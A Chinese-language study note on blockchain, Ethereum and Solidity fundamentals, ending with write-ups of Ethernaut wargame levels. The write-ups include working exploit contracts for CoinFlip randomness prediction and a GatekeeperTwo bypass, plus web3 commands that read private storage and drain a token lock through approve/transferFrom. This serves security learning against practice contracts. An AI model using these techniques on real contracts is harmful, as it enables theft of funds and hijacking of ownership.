基础知识
-
区块:区块链网络中的数据组织单元,区块=区块头+数据主体,区块头=前一区块的根散列+MerKle树根散列+时间戳+其他
-
链:每一个区块的头部包含上一个区块的hash,从而形成链。由于数据修改任意一个符号都会导致的hash剧变的特性,可以起到防篡改的效果。
区块链和普通链表的区别:区块链的区块头上保存的上一个区块的hash,保证了防篡改能力,而普通链表仅保存上一个块的地址,无法保护数据内容不被篡改。在普通链表中可以随意插入数据和修改数据。
-
hash:将固定长度或者变长的数据转换成指定长度的一种算法,不可逆。在密码学上常用来进行签名和认证。区块链中的hash对抗碰撞能力和抗篡改能力有较高的要求
-
交易: 区块主体由一个个transactions组成,即打包的交易。它是存储在区块链中的实际数据,而区块则是记录确认某些交易是在何时以及何种顺序成为区块链中的一部分。 当客户端发起一笔交易,它将会广播到网络上,它会被存储各个矿机的一个缓存池中,等待矿机挖出区块以后,将其打包到区块中
-
钱包:存储和使用数字货币的工具;冷钱包(不联网的钱包),热钱包(联网的钱包)
通过私钥生成公钥,通过公钥生成比特币地址。整个过程是不可逆的
-
区块链的共识机制: 共识机制是区块链的核心的组成要素之一,它决定了区块链的业务吞吐量、交易速度、不可篡改性、入门门槛等等,是最为关键的技术要素之一。块链的共识机制的产生是为了解决区块链中的经济问题,同时共识机制能够确定区块链中权利的拥有者;目前主要的共识有:工作量证明(POW)权益证明(POS)股份授权证明(DPOS)投注共识(Casper)瑞波共识(Ripple Consensus)验证池机制(Verify the pooling)实用拜占庭容错(PBFT区)授权拜占庭容错(dBFT)。
工作量证明(POW):通过计算谜题,先计算出谜题的参与者将会广播答案,然后由别人进行验证,若验证正确则记录在自己的账本上。然后其他未完成计算的或者算错的就会进入到下一个计算中。
矿工和矿池:矿工是每一个参与者,在工作量证明的机制中,算力是决定获得记账权的几率的。因此个人矿工获得收益的可能性很小。因此产生了矿池,矿池就是集成多个矿工的算力来大大提升获得记账权的几率,当矿池算出答案后再给每一个矿工按照比例进行分成。
-
以太坊:以太坊是一个开源的有智能合约功能的公共区块链平台,通过其专用加密货币以太币(ETH)提供去中心化的以太虚拟机来处理点对点合约。创始人Vitalik
-
比特币:中本聪于2008年提出,于2009年诞生的虚拟货币。比特币经济使用整个P2P网络中众多节点构成的分布式数据库来确认并记录所有的交易行为,并使用密码学的设计来确保货币流通各个环节安全性。P2P的去中心化特性与算法本身可以确保无法通过大量制造比特币来人为操控币值。基于密码学的设计可以使比特币只能被真实的拥有者转移或支付。这同样确保了货币所有权与流通交易的匿名性。比特币与其他虚拟货币最大的不同,是其总数量非常有限,具有极强的稀缺性。
-
常见的币:比特币(BTC)、以太坊(ETH)、莱特币(LTC)、门罗币(XMR)、EOS区块链操作系统
-
Gas:可以理解为能量,由于区块链上的操作执行需要地所有节点进行同步,因此存在一定的资源消耗。需要使用Gas来作为小费(服务费)。Gas由两部分组成,Gas limit(用户愿意为执行某个操作或确认交易支付的最大Gas量,最少21000)和Gas Price(Gwei的数量,用户愿意花费于每个Gas单位的价钱)。但是在solidity中函数使用view和pure时不消耗Gas。view仅读取区块链中的数据;pure则既不读取也不写入,仅仅在内存中存储相关操作,非永久性。
-
ETH 与其他加密货币不同,其作用不仅限于支付还用维护网络,一枚 ETH 分为:Finney,Szabo,Gwei,Mwei,Kwei 和 Wei,其中Wei是最小的 ETH 单位,一个ETH 等于一千 Finney,一百万 Szabo,十亿Gwei和百万万亿 Wei 。
以太坊
账户的区别
以太坊账户分两种,外部账户和合约账户。外部账户由一对公私钥进行管理,账户包含着 Ether 的余额,而合约账户除了可以含有 Ether 余额外,还拥有一段特定的代码,预先设定代码逻辑在外部账户或其他合约对其合约地址发送消息或发生交易时被调用和处理:
外部账户 EOA
由公私钥对控制;拥有 ether 余额;可以发送交易(transactions);不包含相关执行代码。
合约账户
拥有 ether 余额;含有执行代码;码仅在该合约地址发生交易或者收到其他合约发送的信息时才会被执行;拥有自己的独立存储状态,且可以调用其他合约。
简单来说就是合约账户由外部账户或合约代码逻辑进行创建,一旦部署成功,只能按照预先写好的合约逻辑进行业务交互,不存在其他方式直接操作合约账户或更改已部署的合约代码。
EVM虚拟机
存储方式
共识机制
- POW(工作量证明):BTC采用,解决谜题,先解出来具有记账权。算力越强优先解出的可能性越大,因此算力最重要。
几种转币方法对比
<address>.transfer
:发送失败时会throw
回滚状态;只会传递2300Gas,防重传。
<address>.send()
:发送失败返回false;传递2300Gas,防重传。
<address>.gas().call.value()
:发送失败返回false,传递所有可用Gas进行调用(可以通过gas(gas_value)
进行限制),不可防重传;
在进行转币操作后应当对返回值状态进行验证,避免转账失败后续程序流程依旧得到执行。
Solidity
-
fallback
:合约可以有一个未命名的函数。这个函数不能有参数也不能有返回值。 如果在一个到合约的调用中,没有其他函数与给定的函数标识符匹配(或没有提供调用数据),那么这个函数(fallback
函数)会被执行。除此之外,每当合约收到以太币(没有任何数据),这个函数就会执行。此外,为了接收以太币,fallback
函数必须标记为payable
。 -
构造函数:构造函数和合约同名,无法进行直接调用。在0.4.22版本引入了constructor关键字来指定构造函数。
-
delegatecall
和call
:都是函数调用的方式,和call的区别是二者调用代码的运行环境不同,当使用call
来调用其他合约函数时,代码在被调用的合约环境中执行。使用delegatecall
调用时代码在调用函数的环境里执行。address.call(bytes4(keccak256(“function_name()”)));
address.delegatecall(bytes4(keccak256(“function_name()”)));
-
tx.origin
:是Solidity的一个全局变量,它遍历整个调用栈并返回最初发送调用(或事务)的帐户的地址。在智能合约中使用此变量进行身份验证会使合约容易受到类似网络钓鱼的攻击。假设用户通过合约A调用合约B:
- 对于合约A:tx.origin和msg.sender都是用户
- 对于合约B:tx.origin是用户,msg.sender是合约A的地址
-
- call: 最常用的调用方式,调用后内置变量
msg
的值会修改为调用者,执行环境为被调用者的运行环境(合约的 storage)。 - delegatecall: 调用后内置变量
msg
的值不会修改为调用者,但执行环境为调用者的运行环境。 - callcode: 调用后内置变量
msg
的值会修改为调用者,但执行环境为调用者的运行环境。 - 计算函数ID的方法:
web3.sha3("pwn()").slice(0,10)
- call: 最常用的调用方式,调用后内置变量
-
solidity汇编:
-
block.blockhash
:该函数可以获取给定区块号的hash值,但是只支持最近的256哥区块,不包含当前区块,对于256个区块之前的函数将返回0。 -
emit
关键字:ERC20 token标准介绍了一种Transfer事件和transfer()方法。以此引入emit来调用事件以此区分。transfer(address to, uint value); Transfer(address from, address to, uint256 _value);
-
keccak
:keccak是sha3标准的单向散列函数算法
solidity的几种条件检查
require
:用于检查条件,并在不满足的时候抛出异常。更偏向代码逻辑和健壮性检查。会回退剩下的Gas。assert
:用于检查条件,并在不满足的时候抛出异常。会消耗掉所有的Gas。当需要确认一些本不该出现的情况异常发生时用这个,例如SafeMath库的数据溢出检查。revert
:标记错误并回退当前调用,允许返回一个数值,返还剩余Gas给调用者。throw
:抛出异常,返回无效操作代码错误,回滚所有状态变更,但是不退还剩余Gas,已被弃用。
ERC20协议
关键字 | 含义 |
---|---|
name | 代币的名称。如比特币的名称bitcoin |
symbol | 代币的符号,通常用三个英文字母表示。如比特币的符号是BTC |
decimals | 小数点,也就是可交易的最小单位。如比特币是8位小数点0.00000001,意味着最小交易单位是0.00000001 |
totalSupply | 总发行量。比特币的总发行量是2000万,当然我们发行的时候可以自定义代币发行量 |
balanceOf | 这里表示的是对应账号的余额。 |
transfer() | 转给其它账户的函数,最开始发行代币都是掌握在代币管理者账户手中的,在众筹的时候转给投资者。这个函数还被要求触发转账事件。 |
transferFrom() | 授权转账函数转账函数,代币持有者授权给一个指定账户后,这个账户可以花费授权额度的代币。 |
approve() | 授权函数,这个函数授权一个账户去花费此账户的余额。再次调用会覆盖当前值。 |
allowance() | 配合approve()使用,返回被授权的余额。 |
event transfer | 交易函数事件。执行transfer()时需要触发该事件。 |
event approval | 授权事件,执行approve()函数时需要触发该事件 |
Solidity常见漏洞
-
Reentrancy - 重入
-
Access Control - 访问控制
-
Arithmetic Issues - 算术问题(整数上下溢出)
溢出的主要原理:由于受到位数的限制,在无法进位的情况下进行加减乘除可能导致超过允许的最大数或者最小数,进而造成数据从小变到极大,该现象也叫里程表翻转。0xFFFFFFFF+0x00000001=0x00000000;0x00000000-0x00000001=0xFFFFFFFF
-
Unchecked Return Values For Low Level Calls - 未严格判断不安全函数调用返回值
-
Denial of Service - 拒绝服务
-
Bad Randomness - 可预测的随机处理
-
Front Running
-
Time manipulation
-
Short Address Attack - 短地址攻击
-
Unknown Unknowns - 其他未知
ethernaut
- 一般情况下,如果要能往合约发送
eth
需要其fallback
函数为payable
。不过另一个合约可以通过selfdestruct
强行给一个合约发送eth
,selfdestruct
会销毁当前合约并且强制将当前合约账户余额转移给一个地址. - 智能合约中的私有变量等,虽然是私有的但是仅仅限制于在合约中的调用,是合约层面的.这所有的数据在链上都是公开的,可以通过查询节点上面的块数据来获取.详见链接:“外部读取状态变量”
- 函数在保证不修改状态情况下可以被声明为视图(view)的形式。但这是松散的,当前 Solidity 编译器没有强制执行视图函数(view function)或常量函数(constant function)不能修改状态。而且也没有强制纯函数(pure function)不读取状态信息。
- 默认结构体struct以storage存储
ethernaut解析
-
fallback
- fallback函数不能主动被调用,在两种情况下会被调用,一是外部调用不存在的函数,二是向合约发送ether,在该例中由于fallback具备转变所有者的属性,因此向该合约转账即可调用fallback,从而获得合约的所有权。
-
Fallout
- 构造函数是和合约名同名的函数,具有不能被调用的特征,而该例中函数Fal1out()存在书写错误的问题非构造函数,且具有改变owner的操作。由于非构造函数且为public,因此可以直接调用,从而改变合约的所属权。
-
CoinFilp
-
猜硬币游戏主要是一个随机数的游戏,该游戏的机制是利用前一个区块的hash来除以一个定值,上一个区块的hash是能获取的,定制是可以获取的。因此结果是伪随机。可以利用外部脚本先算出结果然后再进行猜测。
-
EXP代码:
// CoinFlipExploit.sol pragma solidity ^0.4.18; contract CoinFlip { function flip(bool _guess) public returns (bool); } contract Exploit { address public CoinFlipAddr = 0x4cb10e96499eb61391047d75cf8d8d2a36679573; // 游戏合约地址 CoinFlip coinflip = CoinFlip(CoinFlipAddr); uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; function guess() public { uint256 blockValue = uint256(block.blockhash(block.number-1)); uint256 coinFlip = uint256(uint256(blockValue) / FACTOR); bool side = coinFlip == 1 ? true : false; coinflip.flip(side); } }
-
-
privacy
- 在solidity中,所有的变量都是存储在链上的,因此可以通过web3的api
web3.eth.getStorageAt
来获取变量。
web3.eth.getStorageAt("合约地址",要获取的第几个变量,function(x,y){console.info(y)})
在evm虚拟机中一次处理32个字节,不足32个字节的变量相互共享并补齐32个字节。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Xmzdcqea-1585566000769)(C:\Users\beosin\AppData\Roaming\Typora\typora-user-images\image-20200325145547899.png)]
因此从第二个32字节开始就是data,data[2]则应该是获取的第三个变量的数据。题目中使用了强制类型转换为byte16,因此取前16字节即可。通过chrome comand来直接执行unlock.
web3.eth.getStorageAt("0x5aec58074812de629a4f8f84ec06084928866d48",3,function(x,y){console.info(y);}) 0xfdb2d5a6e70f6a14f37ed9fe35cb69d6a2efef24d44af334e70e4d331d9eb350 await contract.unlock("0xfdb2d5a6e70f6a14f37ed9fe35cb69d6")
- 在solidity中,所有的变量都是存储在链上的,因此可以通过web3的api
-
GateKeeper Two
- 题目代码
pragma solidity ^0.4.18; contract GatekeeperTwo { address public entrant; modifier gateOne() { //通过外部合约调用即可绕过gateone() require(msg.sender != tx.origin); _; } modifier gateTwo() { uint x; assembly { x := extcodesize(caller) } //获取指定地址合约的代码大小 require(x == 0); _; } modifier gateThree(bytes8 _gateKey) { require(uint64(keccak256(msg.sender)) ^ uint64(_gateKey) == uint64(0) - 1); _; } function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { entrant = tx.origin; return true; } }
- gateTwo() 中 extcodesize 用来获取指定地址的合约代码大小。这里使用的是内联汇编,来获取调用方(caller)的代码大小,一般来说,caller 为合约时,获取的大小为合约字节码大小,caller 为账户时,获取的大小为 0 。
modifier gateTwo() { uint x; assembly { x := extcodesize(caller) } require(x == 0); _; }
而这里的代码,条件为调用方代码大小为 0 ,但这又与 gateOne 冲突了。经过研究发现,当合约在初始化,还未完全创建时,代码大小是可以为0的。因此,我们需要把攻击合约的调用操作写在
constructor
构造函数中。-
gateThree()中采用了对异或进行require。要使XY=Z,那么Y=XZ.
-
POC代码
pragma solidity ^0.4.18; contract GatekeeperTwo { address public entrant; modifier gateOne() { require(msg.sender != tx.origin); _; } modifier gateTwo() { uint x; assembly { x := extcodesize(caller) } require(x == 0); _; } modifier gateThree(bytes8 _gateKey) { require(uint64(keccak256(msg.sender)) ^ uint64(_gateKey) == uint64(0) - 1); _; } function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { entrant = tx.origin; return true; } } contract attack{ function attack(address param){ GatekeeperTwo a = GatekeeperTwo(param); bytes8 _gateKey =bytes8((uint64(0) - 1) ^ uint64(keccak256(this))); a.enter(_gateKey); } } /*通过在构造函数中调用合约来绕过gateTWO(),通过外部调用合约执行来绕过gateOne(),通过异或来绕过gateThree()
-
NaughtCoin
-
在这个案例里,开发者只看到了当前合约中的 transfer 并对其做限制,却忽略了对加载的合约做限制,因此我们可以绕过锁的检查。引入了REC20标准,可以使用approve调整授权,transferfrom进行转账。
-
await contract.approve("0x970f89cbceba7da88accb5817afdbc530fc54bec",1000000000000000000000000) //改变允许授权 await contract.transferFrom("0x970f89cbceba7da88accb5817afdbc530fc54bec",contract.address,1000000000000000000000000) //进行转账 await contract.balanceOf(player) //验证当前合约中的玩家账户余额
-
-
magic number
合约创建的字节码由可以分成三个部分组成:
- 部署代码:创建合约时执行部署代码
- 合约代码:合约创建成功后调用方法时执行合约代码
- Auxdata:Auxdata是源码的加密指纹用来验证,永远不会被evm执行。